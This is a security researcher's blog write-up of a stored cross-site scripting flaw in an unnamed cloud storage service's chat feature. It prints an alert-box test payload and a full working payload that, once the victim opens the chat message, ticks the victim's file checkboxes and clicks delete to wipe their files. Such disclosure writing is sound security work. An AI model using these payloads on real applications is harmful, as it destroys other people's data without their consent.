Hello Everyone,
This is Rony Das, This is my very first blog after joining Primefort.
Hope everybody is safe and sound! :)
This article is basically focused on a well-known web application security vulnerability called XSS (Cross-site scripting). And we are going to understand its possibilities. Many people consider XSS as the low-hanging fruit and a basic starter for bug bounty programs. Let’s see how far we can go with a XSS at the right place?
Let me throw a little bit of details about the company without mentioning any name, keeping their privacy policy in mind.
This company’s main product is focused on its own cloud storage and synchronization service.
1. Technical Representation of the Cloud storage application.
Features:
- Cloud storage
- Chatting (texts) with support of sending emojis, images etc etc.
- Video chatting
- Settings { Includes — Profile, Change password, 2FA (Two factor authentication) and more.. }
2. My Approach
I started with checking if there was any file upload issue which could lead us to remote code execution or something but the application was quite solid on that side, no chance.
Then after some other checks, I started looking for this chat messenger service where users can communicate with each other thru texts or video calls once you invite another user for the same. And this interests me a lot. Because “user input”.
FYI developers! People in Information Security love user inputs.
Without any further delay, I created two user account to exchange invites and started using the chat feature.
I also checked if the user input was sanitized properly with a basic XSS payload.
Payload:
<img src=”/” =_=” title=”onerror=’prompt(1)’ ”>
And with no surprise, I got a Javascript alert prompt.
Now i know that i am able to inject my Javascript into the target web application. As this is a chatting application, with that we know our injected code(chat message) is obviously getting reflected on the other side which basically means that it is affecting users, chatting with me sitting on the other side.
So, now what do we know? It’s a stored XSS in the critical area of the application where it is affecting all the users. But, hey? do users care about just a Javascript alert prompt popping up when they open up your text message? No, right?
I wanted to bring some good impact on this bug, but to bring good impact we need to do something critical or something that is harmful to user. Deleting all users file? How that sounds?
It’s time to work with some HTML DOMs. DOM stands for Document Object Model.
The question is what document objects we are going to access?
Let me explain what exactly we are going to do with the DOMs and what impact it is going to make. I noticed that there is a file delete functionality where you have to select the files you want to delete and then you can click on the delete SVG button to finish purging the files.
We are exactly going to abuse the same functionality to achieve our goal of having an impact on the bug.
How we are going to achieve our goals? Yes. Correct. By replicating the file deletion process just not manually but thru HTML DOMs.
Let’s see how the files are being placed on the main document.
The grid layout basically have this child element which are these grids i marked above in the screenshot on top of that we have the parent element.
So our work is to select these child elements which the application already offers and totally accessible thru DOMs. By selecting I mean enabling the checkboxes.
You can notice these numbers 308, when i select the first check box on DevTools panel.
And when select the second checkbox it shows:
The third was 316. The number randomizes with an increment of 4. But not every time, the application sometimes randomizes the number without any jumps. So I decided to go thru numbers without any jumps.
Notice how we are selecting the grids via querySelector() below:
Now if you click on the SVG delete button once you select it, this is how it looks like:
to make these queries usable via the XSS we need to create a payload merging both the queries.
3. Final
Now combining all of the above our final XSS query looks like this —
Payload:
<img src="/" =_=" title="onerror='for (var i = 1; i < 10; i++) {
console.log("#\\\\32 0" + i + "-checkbox");
if(document.querySelector("#\\\\32 0" + i + "-checkbox") != null){
document.querySelector("#\\\\32 0" + i + "-checkbox").click()
}
}for (var i = 10; i < 500; i++) {
console.log("#\\\\32 " + i + "-checkbox");
if(document.querySelector("#\\\\32 " + i + "-checkbox") != null){
document.querySelector("#\\\\32 " + i + "-checkbox").click()
}
}
for(var i = 0; i < 10; i++){
document.querySelector("#--router > div > div:nth-child(3) > div.full.box > div > div > div.desk-module__topbar.XX1.box > div > div.desk-topbar__center.box > div > div.desk-topbar__icon.trash.svg-wrapper.widget.ui-droppable").click()
}
'">
I injected the same payload into the chatbox between user A and user B where user A was the attacker and user B was the victim.
Final Screen capture from the (User B) victim’s account when the victim opens the attacker’s text message —
Thank you very much for reading till the end. See you guys next time!
I’m available at rony(at)primefort(dot)net